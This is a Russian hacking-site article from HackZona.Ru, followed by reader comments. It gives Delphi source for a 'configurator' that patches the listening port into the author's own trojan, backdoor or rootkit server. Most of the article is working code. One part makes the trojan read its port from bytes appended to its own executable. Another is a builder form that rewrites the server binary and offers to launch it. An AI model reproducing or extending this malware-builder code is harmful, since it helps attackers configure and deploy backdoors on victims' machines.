Конфигуратор на delphi — HackZona.Ru

Конфигуратор на delphi

Конфигуратор на delphi

Тип статьи:
Со старой ХакЗоны.
Источник:
И так, после долгих мучений я наконец воткнул как написть конфинуратор на дельфях, за что отдельное спасибо Xteenу! Ну ладно меньше слов больше дел! Естественно подразумевается что у вас уже есть свой трой, бек дор или руткит, далее просто R, который мы и будем править с помошью написанного сегодня с вами конфигуратора! Но для начала нам с вами придется немножко подправить ваш R! Начнем!
У нас есть код (возьму кусок кода из моего троя):

[code]
server.sin_family:=AF_INET;
server.sin_port:=htons(55555); //здесь мы назначаем, порт который будет слушать наш R
//как раз это место мы и будем править
//исправляем 55555 на ReadInfo
server.sin_addr.s_addr:=htonl(INADDR_ANY);
[/code]

После этого в наш код нудно будет добавить одну процу и одна функцию, вот они

[code]
procedure LoadServer(Fname:string;var FullContents:string);//загрузка в память сервера
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

Function ReadInfo: Integer;//функция нахождения и правки порта
var
fcontent, apnd: string;
i: integer;
begin
copyfile( PChar(paramstr(0)), PChar(paramstr(0)+'_'), false );
LoadServer( paramstr(0)+'_', fcontent );
apnd := '';
i := length( fcontent );
while (i>0) AND (fcontent[i]<>#00) do begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
deletefile( PChar(paramstr(0)+'_') );
Result := StrToInt(apnd);
end;
[/code]

Ну вот с R мы закончили приступаем к написанию конфигуратора!
Здесь я привиду основную часть кода ибо все остальное можно будет дописать по желанию.

[code]
procedure TForm1.LoadServer(Fname:string;var FullContents:string);
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

procedure TForm1.OpnnClick(Sender: TObject);
VAR
fcontent, apnd: String;
i: integer;
begin
IF opn.Execute THEN begin
EdtFname.Text := opn.FileName;
LoadServer(EdtFname.Text,fcontent);
i := length(fcontent);
apnd := '';
WHILE (i > 0) AND (fcontent[i] <> #00) DO begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Opn.InitialDir := ExtractFilePath(application.exename);
end;

procedure TForm1.SvClick(Sender: TObject);//открываем и правим
VAR
fcontent: string;
i: integer;
f: textfile;
begin
IF fileexists( EdtFname.Text ) THEN
begin
LoadServer( EdtFname.Text, fcontent );
i := length(fcontent);
while (i>0) AND (fcontent[i]<>#00) DO
i := i -1;
fcontent := copy(fcontent,1,i);
fcontent := fcontent + Prt.Text;
AssignFile( f, EdtFname.Text );
Rewrite( f );
write( f, fcontent );
closefile( f );
copyfile( 'ZeroDay.exe','ZeroDayNoEdit.exe', false );//тут можно подправить по желанию
IF messagedlg('Сервер сконфигурирован'+#13+#10+новый порт .'+Prt.Text+#13+#10+
'Запустить сервер сейчас?',
mtConfirmation,[mbYes,mbNo],0) = mrYes THEN
shellexecute( 0, nil, PChar( EdtFname.Text), nil, nil, 1 );
end
ELSE
messagedlg('Указанный файл не верен!!!',mtError,[mbok],0);
end;
[/code]

Ну вот собстно и все! Знающие люди скажут, что это самый приметивный способ и, что код очень сырой и нуждается в оптимизации и отладке! И я, честно говоря, отвечу, что они правы, но я специально не стал приводить здесь оптимизированный код лишь потому, чтобы вы читая эту статью поднапрягли свои мозги!
Всем спасибо за внимание!

P.S.Дополнения, просьба писать в эту тему! Если у когото есть какие нить претензии по поводу статьи, тож отписываем в этой теме!
P.S.S.Созданный код, берет свое существование от opensc.ws/showthread.php?t=618
Нравится
Не нравится

6 комментариев

15:44
Мне было не лень оптимизировать! В своем конфиге у мну все оптимизировано и подправленно! Только суть статьи не подрозумевает оптимизацию, а направлена на то чтобы показать как это делается! А вам всем нужно чтоб скопипастил и все было зае...сь, и вы почувствовали себя мега куль Хацкерами!
15:59
Круто! А зачем это?
10:56
Простите за бестактность, но чем сей код отличается от того, который на http://opensc.ws/showthread.php?t=618 ??? Разве что нет иностранных комментов... Лучше бы коменты перевел, пользы больше было бы
16:03
А мне кажется, что автору было лень его оптимизировать... Не понимаю людей, которые выкладывают сырой код
17:12
Залейте лучше сам едитор делфи или си++ или подскажите где его можно скачать, давно хочу писать на си++
10:37
круто